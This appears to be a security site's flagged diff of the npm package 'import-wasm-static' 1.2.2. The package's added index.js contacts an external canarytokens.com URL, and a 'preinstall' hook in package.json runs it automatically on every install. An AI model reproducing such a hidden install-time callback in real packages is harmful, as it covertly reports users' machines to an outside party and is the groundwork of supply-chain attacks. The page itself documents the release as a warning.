import-wasm-static 1.2.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of import-wasm-static might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +10 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ const https = require('https');
2
+
3
+ const callbackUrl = 'https://0bbmnk5lremj91a8aa1ajr65u.canarytokens.com';
4
+
5
+ https.get(callbackUrl, (res) => {
6
+ console.log(`Callback response status: ${res.statusCode}`);
7
+ }).on('error', (error) => {
8
+ console.error(`Error sending callback request: ${error}`);
9
+ });
10
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "import-wasm-static",
3
+ "version": "1.2.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }